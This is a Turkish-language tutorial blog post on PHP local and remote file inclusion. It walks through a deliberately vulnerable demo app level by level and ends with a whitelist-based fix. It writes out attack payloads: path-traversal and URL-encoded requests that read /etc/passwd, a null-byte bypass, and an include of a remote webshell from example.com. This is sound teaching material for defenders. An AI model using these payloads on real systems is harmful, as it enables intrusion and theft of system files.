Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | PHP File Inclusion Vulnerability

Merhabalar, web uygulama güvenliğinde sayfaya dosya dahil etme(file inclusion) önemli bir zafiyet türüdür. Bu zafiyet türünün iyi anlaşılması için yazdığımı uygulamayı ve konunun detaylarını inceleyeceğiz. PHP dili ile yazdığımız bu uygulamaya https://github.com/sinansahin/cvwa-php-example adresinden ulaşabilirsiniz.

Dosya dahil etme zafiyetleri iki türlüdür. Bunlardan birisi uzak dosya dahil etme(remote file inclusion), diğeri yerel dosya dahil etme(local file inclusion). Uzak dosya dahil etme açığı, saldırganın sunucunuzda bulunmayan fakat sizin sisteminize zarar verecek veya veri hırsızlığına yol açabilecek kodların sizin sunucunuzda çalıştırması işlemidir. Yerel dosya dahil etme açığı ise kendi sistemimizde bulunan bir dosyanın istenmeyen bir şekilde saldırgan tarafından çalıştırılması işlemidir. Bu zafiyet ile saldırgan passwd ve config dosyaları gibi önemli dosyaları okuyabilir.

Zafiyet Nasıl Oluşuyor?

  • Önlem Alınmamış

file inclusion example code

Genel olarak yukarıdaki gibi dahil edilecek dosya get ile alınıp hiç bir kontrol ve temizleme işlemine tabi tutulmadan include fonksiyonuna veriliyor. Saldırgan adres satırında ” index.php?file=/etc/passwd ” şeklinde bir istek yaptığında sistemin passwd dosyasını okuyabiliyor. Sistem içersinden bir dosya olan passwd’yi okumakla saldırgan local file inclusion zafiyetini kullanmış oldu. Saldırgan adres satırına ” index.php?file=http://example.com/webshell.txt ” şeklinde bir istek yaptığında eğer sistemin ayarlarında uzak dosya dahil etme aktif ise saldırgan sisteminiz üzerinde shell dosyası çalıştırmış olacaktır. Bu shell dosyasının özelliklerine ve salgırganın yeteneklerine göre artık saldırgan sisteminizde at koşturabilir 🙂 Php versiyonunuz 4.0.3 ve üstü ise varsayılan olarak sisteminizin uzaktan dosya çalıştırma özelliği kapalıdır.

  • Yetersiz Önlem Alınmışlar

level2

Yazılımcı arkadaş kendince bir önlem almış. Saldırgan ” index.php?file=/etc/passwd ” şeklinde yapacağı isteği önlemiş. Fakat unuttuğu bir durum mevcut; dizinler arası geçiş. Saldırganın ” index.php?file=../../../../../etc/passwd ” şeklinde bir isteğine yazılımcı önlemi geçerli olmayacaktır.

level3

Yazılımcı arkadaş saldırgan passwd dosyasını okuyamasın diye get isteği ile gelen veri içersindeki ” ../ ” değerlerini silmiş. Artık saldırgan ” index.php?file=/etc/passwd ” böyle bir istek yaptığında emellerine ulaşamıyor. Fakat yazılımcı arkadaşın atladığı bir durum mevcut: url encode. Saldırgan ” index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd ” şeklinde bir payload ile yoluna devam edebilir.

level4

Yazılımcı arkadaş üstteki bu kod ile gelen veriye uzantı ekleyip içersinde url encoding yapılmış karakterleri temizlemiş. Burada PHP dilinin boş karakter görünce devamındaki kodu işlememesi durumunu veya çöp değer gönderme yöntemini kullanabiliriz. Saldırgan ” index.php?file=http://google.com%00 “, ” index.php?file=http://192.168.56.101/index.php?cop= ” ve buna benzer ürettiği bir çok payload ile emellerine ulaşabilir.

  • Önlem alınmış

secure code

Bir çok önlem alınmamış kod inceledik. Peki bu zafiyeti oluşturmadan dosya dahil etme işlemini nasıl yapacağız sorunuza  yukarıdaki kodu geliştirdik. Dahil edeceğiniz dosyaları önceden belirlemeniz sizi bir anlamdan güvene alacaktır.  Gelen isteğin içinden sadece dosya adını ayrıştırıp, dizi içinde var mı kontrolü ile dahil edeceğiniz dosyayı doğru seçebilirsiniz.

Sorularınızı ve yorumlarınızı aşağıda paylaşırsanız memnun oluruz.

About Sinan Şahin


Follow Me